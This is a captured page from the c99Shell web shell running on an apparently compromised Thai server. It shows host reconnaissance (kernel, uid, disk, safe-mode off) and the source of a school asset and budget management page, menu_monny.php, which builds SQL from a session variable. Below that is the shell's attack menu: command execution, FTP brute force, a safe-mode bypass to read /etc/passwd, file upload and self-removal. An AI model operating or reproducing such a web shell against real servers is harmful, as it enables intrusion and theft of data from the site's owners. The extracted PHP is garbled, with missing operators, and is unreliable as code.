!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/Monny_depart/   drwxr-xr-x
Free 52.4 GB of 127.8 GB (41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     menu_monny.php (11.98 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();

 if (
session_is_registered("valid_user")&&session_is_registered("Priority")&&session_is_registered("password") )
 {
include(
"../include/FunctionDB.php");
include(
"admin_menu.php");
 
ConnectDB();
$Username $valid_user;
$sql "SELECT * FROM personal_tb WHERE Username='$Username'";
$result mysql_query($sql) ;
$rs mysql_fetch_array($result);
$row mysql_num_rows($result);
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!--
.style2 {color: #003399}
.style17 {font-size: 14px}
.style18 {color: #003399; font-size: 14px; }
.style21 {
    font-size: 16px;
    font-weight: bold;
}
-->
</style>
<table width="740" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td><br><fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="menu_manage.php" >หน้าหลัก</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="menu_personal.php?Teacher_code=<? echo $rs[Teacher_code?>">ฐานข้อมูลบุคลากร</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /><a href="menu_monny.php">ฐานข้อมูลครุภัณฑ์และงบค่าใช้จ่าย</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /><a href="menu_man.php">ฐานข้อมูลอื่นๆ</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" />ฐานข้อมูลฝ่ายบริหาร</font></legend>
            <label><div align="center">
              <form id="form1" name="form1" method="post" action="">
                <table width="78%" border="0" align="center" cellpadding="0" cellspacing="1" style="background-color:#eeeeee; border:0px solid gray"size="12">
                  <tr>
                    <td bgcolor="#FFFFFF"><font size="2" face="Tahoma"><img src="../picture/previous.gif" onclick="window.history.back()"  width="85" height="22" border="0" /></font></td>
                  </tr>
                  <tr>
                    <td bgcolor="#FFFFFF">&nbsp;</td>
                  </tr>
                  <tr>
                    <td bgcolor="#FFFFFF"><div align="center"></div></td>
                  </tr>
                  <tr>
                    <td background="../Image/barIns2.jpg" bgcolor="#D1E1F0"><img src="../Image/m2.jpg" width="572" height="56" /></td>
                  </tr>
                  <tr>
                    <td height="43" bgcolor="#FFFFFF" ><table width="102%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#FFFFFF" bgcolor="#FFFFFF" style="border:1px solid gray">
                      <tr onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#EEEEEE'" >
                        <td width="4%" bgcolor="#eeeeee"><font size="2" face="Tahoma"><strong><img src="../picture/buddy.gif" width="18" height="17" align="absmiddle" /></strong></font></td>
                        <td colspan="2" bgcolor="#eeeeee"><font face="Tahoma" class="style18">ฐานข้อมูลงบค่าใช้จ่ายๆ</font></td>
                      </tr>
                      <tr onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#EEEEEE'" >
                        <td bgcolor="#E4F3F8"><div align="center"><font size="2" face="Tahoma"><strong><img src="../picture/html2.gif" width="16" height="13" align="absmiddle" /></strong></font></div></td>
                        <td width="81%" bgcolor="#E4F3F8"><font face="Tahoma"><a href="FinaList.php" class="d style18">ข้อมูลงบบุคลากร</a></font></td>
                        <td width="15%" bgcolor="#E4F3F8"><div align="center"><font size="4" face="Tahoma">
                            <?php 
                        
                           $sql10 
"Select * From finance4_tb  Where  Cost1 or  Cost2  ";
                          
$result10 mysql_query($sql10) or die(" Error".mysql_error());
                          
$r10 mysql_num_rows($result10);
                           if ( 
$r10 == 0)
                              {
                              echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#FF0000\">";
                               echo
"ยังไม่ข้อมูล";
                               echo
"</font>";
                              }
                            else if (
$r10  0
                              {
                              echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#006633\">";
                               echo
"$r10  <font face=\"Tahoma\" Size=\"2\" color=\"#000000\">ระเบียน</font>";
                               echo
"</font>";
                              } 
                          
?>
                        </font></div></td>
                      </tr>
                      <tr onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#EEEEEE'" >
                        <td bgcolor="#E4F3F8"><div align="center"><font size="2" face="Tahoma"><strong><img src="../picture/html2.gif" width="16" height="13" align="absmiddle" /></strong></font></div></td>
                        <td bgcolor="#E4F3F8" class="d style2"><font face="Tahoma"><a href="FinaceDuraList.php" class="d style18">ข้อมูลค่าคุภัณฑ์และสิ่งก่อสร้าง</a></font></td>
                        <td bgcolor="#E4F3F8"><div align="center"><font size="4" face="Tahoma">
                            <?php 
                           
                            $sql10 
"Select * From  finance4_tb     ";
                            
$result10 mysql_query($sql10) or die(" Error".mysql_error());
                            
$r10 mysql_num_rows($result10);
                           if ( 
$r10 == 0)
                              {
                              echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#FF0000\">";
                               echo
"ยังไม่ข้อมูล";
                               echo
"</font>";
                              }
                            else if (
$r10  0
                              {
                              echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#006633\">";
                               echo
"$r10  <font face=\"Tahoma\" Size=\"2\" color=\"#000000\">ระเบียน</font>";
                               echo
"</font>";
                              } 
                          
?>
                        </font><font size="4" face="Tahoma"> </font></div></td>
                      </tr>
                      <tr onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#EEEEEE'" >
                        <td bgcolor="#E4F3F8"><div align="center"><font size="2" face="Tahoma"><strong><img src="../picture/html2.gif" width="16" height="13" align="absmiddle" /></strong></font></div></td>
                        <td bgcolor="#E4F3F8" class="d style2"><font face="Tahoma"><a href="FinaceFinList.php"" class="style18">ข้อมูลงบสาธารณนูปโภค</a></font></td>
                        <td bgcolor="#E4F3F8"><div align="center"><font size="4" face="Tahoma">
                            <?php 
                        
                          $sql4 
"Select * From finance3_tb ";
                          
$result4 mysql_query($sql4) or die(" Error".mysql_error());
                          
$rc1 mysql_num_rows($result4);
                           if ( 
$rc1 == 0)
                              {
                              echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#FF0000\">";
                               echo
"ยังไม่ข้อมูล";
                               echo
"</font>";
                              }
                            else if (
$rc1  0
                              {
                              echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#006633\">";
                               echo
"$rc1  <font face=\"Tahoma\" Size=\"2\" color=\"#000000\">ระเบียน</font>";
                               echo
"</font>";
                              } 
                          
?>
                        </font></div></td>
                      </tr>
                      <tr onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#EEEEEE'" >
                        <td bgcolor="#eeeeee"><font size="2" face="Tahoma"><strong><img src="../picture/buddy.gif" width="18" height="17" align="absmiddle" /></strong></font></td>
                        <td colspan="2" bgcolor="#eeeeee"><font face="Tahoma" class="style18">ฐานข้อมูลครุภัณฑ์</font></td>
                      </tr>
                      <tr onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#EEEEEE'" >
                        <td bgcolor="#E4F3F8"><div align="center"><font size="2" face="Tahoma"><strong><img src="../picture/html2.gif" width="16" height="13" align="absmiddle" /></strong></font></div></td>
                        <td bgcolor="#E4F3F8"><font face="Tahoma"><a href="BuildingList.php" class="d style18">ข้อมูลอาคารและสิ่งก่อสร้าง</a></font></td>
                        <td bgcolor="#E4F3F8"><div align="center"><font size="4" face="Tahoma">
                            <?php 
                          
//$code = $rs["Teacher_code"];
                          
$sql3 "Select * From  building_tb  ";
                          
$result3 mysql_query($sql3) or die(" Error".mysql_error());
                          
$rt mysql_num_rows($result3);
                           if ( 
$rt == 0)
                              {
                              echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#FF0000\">";
                               echo
"ยังไม่ข้อมูล";
                               echo
"</font>";
                              }
                            else if (
$rt  0
                              {
                              echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#006633\">";
                              echo
"$rt <font face=\"Tahoma\" Size=\"2\" color=\"#000000\">ระเบียน</font>";
                               echo
"</font>";
                              } 
                          
?>
                        </font></div></td>
                      </tr>
                      <tr onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#EEEEEE'" >
                        <td bgcolor="#E4F3F8"><div align="center"><font size="2" face="Tahoma"><strong><img src="../picture/html2.gif" width="16" height="13" align="absmiddle" /></strong></font></div></td>
                        <td bgcolor="#E4F3F8"><font face="Tahoma"><a href="RoomTypeList.php" class="style18">ข้อมูลห้องเรียน</a></font></td>
                        <td bgcolor="#E4F3F8"><div align="center"><font size="4" face="Tahoma">
                            <?php 
                         
// $code = $rs["Teacher_code"];
                           
$sql9 "Select * From room_tb ";
                          
$result9 mysql_query($sql9) or die(" Error".mysql_error());
                          
$r9 mysql_num_rows($result9);
                           if ( 
$r9 == 0)
                              {
                              echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#FF0000\">";
                               echo
"ยังไม่ข้อมูล";
                               echo
"</font>";
                              }
                            else if (
$r9  0
                              {
                              echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#006633\">";
                               echo
"$r9  <font face=\"Tahoma\" Size=\"2\" color=\"#000000\">ระเบียน</font>";
                               echo
"</font>";
                              } 
                          
?>
                        </font></div></td>
                      </tr>
                      <tr onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#EEEEEE'" >
                        <td bgcolor="#E4F3F8"><div align="center"><font size="2" face="Tahoma"><strong><img src="../picture/html2.gif" width="16" height="13" align="absmiddle" /></strong></font></div></td>
                        <td bgcolor="#E4F3F8"><font face="Tahoma"><a href="AccByname.php" class="d style18">ข้อมูลครุภัณฑ์</a></font></td>
                        <td bgcolor="#E4F3F8"><div align="center"><font size="4" face="Tahoma">
                            <?php 
                         
                           $sql9 
"Select * From accessories_tb";
                          
$result9 mysql_query($sql9) or die(" Error".mysql_error());
                          
$r9 mysql_num_rows($result9);
                           if ( 
$r9 == 0)
                              {
                              echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#FF0000\">";
                               echo
"ยังไม่ข้อมูล";
                               echo
"</font>";
                              }
                            else if (
$r9  0
                              {
                              echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#006633\">";
                               echo
"$r9  <font face=\"Tahoma\" Size=\"2\" color=\"#000000\">ระเบียน</font>";
                               echo
"</font>";
                              } 
                          
?>
                        </font></div></td>
                      </tr>
                    </table></td>
                  </tr>
                </table>
              <br>
            </form>
              </div>
            </label>
        </fieldset><br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br>
        </font></td>
    </tr>
</table>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../login.php\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0076 ]--